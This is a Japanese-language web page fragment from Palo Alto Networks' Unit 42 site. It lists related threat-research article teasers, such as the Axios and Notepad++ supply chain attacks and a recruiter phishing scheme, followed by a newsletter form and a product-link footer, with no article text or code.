  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年4月1日 [#### 脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/)

* [API attacks](https://unit42.paloaltonetworks.com/ja/tag/api-attacks-ja/ "API attacks")

* [JavaScript](https://unit42.paloaltonetworks.com/ja/tag/javascript-ja/ "JavaScript")

* [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/axios-supply-chain-attack/ "脅威概要:Axiosサプライ チェーン攻撃で広範に及ぶ影響")  
  ![Pictorial representation of TeamPCP. Glowing code on a screen where several word such as Crime, Hackers, and Security are highlighted in a contrasting color.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/03_Cybercrime_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年3月31日 [#### プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/)

* [CVE-2025-55182](https://unit42.paloaltonetworks.com/ja/tag/cve-2025-55182-ja/ "CVE-2025-55182")

* [GitHub](https://unit42.paloaltonetworks.com/ja/tag/github-ja/ "GitHub")

* [Infostealer](https://unit42.paloaltonetworks.com/ja/tag/infostealer-ja/ "Infostealer")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/teampcp-supply-chain-attacks/ "プロテクターを武器として利用する:セキュリティ インフラにおけるTeamPCPの多段階サプライ チェーン攻撃")  
  ![Pictorial representation of phishing campaign. A blurred image focusing on a person typing on a laptop with lines of code visible on the screen, illuminated in blue and red lights, suggestive of intense coding or cyber activities.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/06_Malware_Category_1920x900-3-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/) 2026年3月24日 [#### 脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/)

* [Email scam](https://unit42.paloaltonetworks.com/ja/tag/email-scam/ "email scam")

* [Lure](https://unit42.paloaltonetworks.com/ja/tag/lure/ "lure")

* [Phishing](https://unit42.paloaltonetworks.com/ja/tag/phishing-ja/ "phishing")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/phishing-attackers-pose-as-panw-recruiters/ "脅威情報: パロアルトネットワークスの人材獲得チームになりすました採用スキーム")  
  ![Pictorial representation of Notepad++ supply chain compromise. A digital rendering of Earth from space, focusing on North and South America. The continents are illuminated in blue, with red lines and dots indicating data connections across various locations. Dark background highlights the vibrant network representation.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/11_Security-Technology_Category_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)主なサイバー脅威](https://unit42.paloaltonetworks.com/ja/category/top-cyberthreats-ja/) 2026年2月11日 [#### 国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/)

* [Backdoor](https://unit42.paloaltonetworks.com/ja/tag/backdoor-ja/ "backdoor")

* [Cobalt Strike](https://unit42.paloaltonetworks.com/ja/tag/cobalt-strike-ja/ "Cobalt Strike")

* [DLL Sideloading](https://unit42.paloaltonetworks.com/ja/tag/dll-sideloading-ja/ "DLL Sideloading")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/notepad-infrastructure-compromise/ "国家支援型の脅威アクターがNotepad++のサプライチェーンを悪用")  
  ![Pictorial representation of Muddled Libra, aka Scattered Spider. A vibrant illustration of the Libra zodiac sign, featuring a stylized balance scale overlaid with a prominent Libra symbol. The background is a starry night sky with shades of purple and blue, suggesting a cosmic theme.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/03-1-Muddle-Libra-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/threat-actor-groups.svg)脅威アクター グループ](https://unit42.paloaltonetworks.com/ja/category/threat-actor-groups-ja/) 2026年2月10日 [#### Muddled Libraのプレイブックを覗いてみよう](https://unit42.paloaltonetworks.com/ja/muddled-libra-ops-playbook/)

* [Muddled Libra](https://unit42.paloaltonetworks.com/ja/tag/muddled-libra-ja/ "Muddled Libra")

* [Powershell](https://unit42.paloaltonetworks.com/ja/tag/powershell-ja/ "Powershell")

* [Scattered Spider](https://unit42.paloaltonetworks.com/ja/tag/scattered-spider-ja/ "Scattered Spider")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/muddled-libra-ops-playbook/ "Muddled Libraのプレイブックを覗いてみよう")  
  ![Pictorial representation of threat groups from Russia. The silhouette of a bear and the Ursa constellation inside an orange abstract planet. Abstract, stylized cosmic setting with vibrant blue and purple shapes, representing space and distant planetary bodies.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/Ursa-Russia-B-1920x900-1-786x368.png)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/ja/category/insights-ja/) 2026年1月29日 [#### 2026年冬季オリンピックに対するロシアのサイバー脅威を理解する](https://unit42.paloaltonetworks.com/ja/russian-cyberthreat-2026-winter-olympics/)

* [AI](https://unit42.paloaltonetworks.com/ja/tag/ai-ja/ "AI")

* [IoT](https://unit42.paloaltonetworks.com/ja/tag/iot-ja/ "IoT")

* [Russia](https://unit42.paloaltonetworks.com/ja/tag/russia-ja/ "Russia")  
  [今すぐ読む ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ja/russian-cyberthreat-2026-winter-olympics/ "2026年冬季オリンピックに対するロシアのサイバー脅威を理解する")

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)

* ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg)  
  ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]()  
  ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/04/Unit-42_get-updates-banner.png)  
  ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Unit 42 からの最新情報を取得

## 進化する脅威の状況を常に先取り

メール アドレス

本フォームを送信することにより、[利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)に同意し、[プライバシー ポリシー](https://www.paloaltonetworks.jp/legal-notices/privacy)を承認したことになります。

本サイトは reCAPTCHA で保護されており、Googleの[プライバシー ポリシー](https://policies.google.com/privacy) と[サービス利用規約](https://policies.google.com/terms)が適用されます。

Invalid captcha!
サブスクライブ ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg)  
{#footer} 製品とサービス

* [AI利用ネットワーク セキュリティ プラットフォーム](https://www.paloaltonetworks.jp/network-security)

* [AIのセキュア バイ デザイン](https://www.paloaltonetworks.jp/precision-ai-security/secure-ai-by-design)

* [Prisma AIRS](https://www.paloaltonetworks.jp/prisma/prisma-ai-runtime-security)

* [AI Access Security](https://www.paloaltonetworks.jp/sase/ai-access-security)

* [クラウド提供型セキュリティ サービス](https://www.paloaltonetworks.jp/network-security/security-subscriptions)

* [Advanced Threat Prevention](https://www.paloaltonetworks.jp/network-security/advanced-threat-prevention)

* [Advanced URL Filtering](https://www.paloaltonetworks.jp/network-security/advanced-url-filtering)

* [Advanced WildFire](https://www.paloaltonetworks.jp/network-security/advanced-wildfire)

* [Advanced DNS Security](https://www.paloaltonetworks.jp/network-security/advanced-dns-security)

* [Enterprise Data Loss Prevention](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Enterprise IoT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/enterprise-iot-security)

* [Medical IoT Security](https://www.paloaltonetworks.jp/network-security/medical-device-security)

* [Industrial OT Security](https://www.paloaltonetworks.jp/content/pan/ja_JP/network-security/industrial-ot-security)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)

* [ハードウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/hardware-firewall-innovations)

* [ソフトウェア ファイアウォール](https://www.paloaltonetworks.jp/network-security/software-firewalls)

* [Strata Cloud Manager](https://www.paloaltonetworks.jp/network-security/strata-cloud-manager)

* [SD-WAN for NGFW](https://www.paloaltonetworks.jp/network-security/sd-wan-subscription)

* [PAN-OS](https://www.paloaltonetworks.jp/network-security/pan-os)

* [Panorama](https://www.paloaltonetworks.jp/network-security/panorama)

* [セキュア アクセス サービス エッジ](https://www.paloaltonetworks.jp/sase)

* [Prisma SASE](https://www.paloaltonetworks.jp/sase)

* [App Acceleration](https://www.paloaltonetworks.jp/sase/app-acceleration)

* [自律型デジタルエクスペリエンス管理](https://www.paloaltonetworks.jp/sase/adem)

* [Enterprise DLP](https://www.paloaltonetworks.jp/sase/enterprise-data-loss-prevention)

* [Prisma Access](https://www.paloaltonetworks.jp/sase/access)

* [Prisma Browser](https://www.paloaltonetworks.jp/sase/prisma-browser)

* [Prisma SD-WAN](https://www.paloaltonetworks.jp/sase/sd-wan)

* [リモート ブラウザ分離](https://www.paloaltonetworks.jp/sase/remote-browser-isolation)

* [SaaS Security](https://www.paloaltonetworks.jp/sase/saas-security)

* [AI駆動型セキュリティ運用プラットフォーム](https://www.paloaltonetworks.jp/cortex)

* [Cloud Security](https://www.paloaltonetworks.jp/cortex/cloud)

* [Cortex Cloud](https://www.paloaltonetworks.jp/cortex/cloud)

* [Application Security](https://www.paloaltonetworks.jp/cortex/cloud/application-security)

* [Cloud Posture Security](https://www.paloaltonetworks.jp/cortex/cloud/cloud-posture-security)

* [Cloud Runtime Security](https://www.paloaltonetworks.jp/cortex/cloud/runtime-security)

* [Prisma Cloud](https://www.paloaltonetworks.jp/prisma/cloud)

* [AI駆動型SOC](https://www.paloaltonetworks.jp/cortex)

* [Cortex XSIAM](https://www.paloaltonetworks.jp/cortex/cortex-xsiam)

* [Cortex XDR](https://www.paloaltonetworks.jp/cortex/cortex-xdr)

* [Cortex XSOAR](https://www.paloaltonetworks.jp/cortex/cortex-xsoar)

* [Cortex Xpanse](https://www.paloaltonetworks.jp/cortex/cortex-xpanse)

* [Unit 42マネージド ディテクション\&レスポンス](https://www.paloaltonetworks.jp/cortex/managed-detection-and-response)

* [マネージドXSIAM](https://www.paloaltonetworks.jp/cortex/managed-xsiam)

* [次世代のアイデンティティ セキュリティ](https://www.paloaltonetworks.jp/idira)

* [特権アクセス管理](https://www.paloaltonetworks.jp/idira/human/privileged-access-management)

* [アイデンティティ管理とアクセス管理](https://www.paloaltonetworks.jp/idira/human/identity-and-access-management)

* [Endpoint Privilege Manager](https://www.paloaltonetworks.jp/idira/human/endpoint-privilege-manager)

* [アイデンティティ ガバナンス](https://www.paloaltonetworks.jp/idira/human/identity-governance)

* [従業員パスワード管理](https://www.paloaltonetworks.jp/idira/human/workforce-password-management)

* [エージェンティック アイデンティティ](https://www.paloaltonetworks.jp/idira/agentic)

* [シークレット管理](https://www.paloaltonetworks.jp/idira/machine/secrets-management)

* [統合型シークレット ガバナンス](https://www.paloaltonetworks.jp/idira/machine/unified-secrets-governance)

* [アプリケーションの認証情報配信](https://www.paloaltonetworks.jp/idira/machine/application-credentials-delivery)

* [ベンダーの特権アクセス](https://www.paloaltonetworks.jp/idira/human/vendor-privileged-access)

* [脅威インテリジェンス\&インシデント レスポンス サービス](https://www.paloaltonetworks.jp/unit42)

* [予防評価](https://www.paloaltonetworks.jp/unit42/assess)

* [インシデント レスポンス](https://www.paloaltonetworks.jp/unit42/respond)

* [セキュリティ戦略を変革](https://www.paloaltonetworks.jp/unit42/transform)

* [脅威インテリジェンスについて](https://www.paloaltonetworks.jp/unit42/threat-intelligence-partners)  
  会社名

* [パロアルトネットワークスについて](https://www.paloaltonetworks.jp/about-us)

* [採用情報](https://jobs.paloaltonetworks.com/en/)

* [お問合せ](https://www.paloaltonetworks.jp/company/contact-sales)

* [企業責任](https://www.paloaltonetworks.com/about-us/corporate-responsibility)

* [お客様向け](https://www.paloaltonetworks.jp/customers)

* [IR](https://investors.paloaltonetworks.com/)

* [拠点](https://www.paloaltonetworks.com/about-us/locations)

* [ニュースルーム](https://www.paloaltonetworks.jp/company/newsroom)  
  人気のあるリンク

* [ブログ](https://www.paloaltonetworks.com/blog/?lang=ja)

* [コミュニティ](https://www.paloaltonetworks.com/communities)

* [コンテンツライブラリ](https://www.paloaltonetworks.jp/resources)

* [Cyberpedia](https://www.paloaltonetworks.jp/cyberpedia)

* [イベントセンター](https://events.paloaltonetworks.com/)

* [電子メール設定の管理](https://start.paloaltonetworks.com/preference-center)

* [製品A〜Z](https://www.paloaltonetworks.jp/products/products-a-z)

* [製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance)

* [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure)

* [サイトマップ](https://www.paloaltonetworks.jp/sitemap)

* [テクニカル ドキュメント](https://docs.paloaltonetworks.com/)

* [Unit 42](https://unit42.paloaltonetworks.jp/)

* [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd)
  ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy)

* [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center)

* [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)

* [ドキュメント](https://www.paloaltonetworks.jp/legal-notices)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/)
* JP  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)
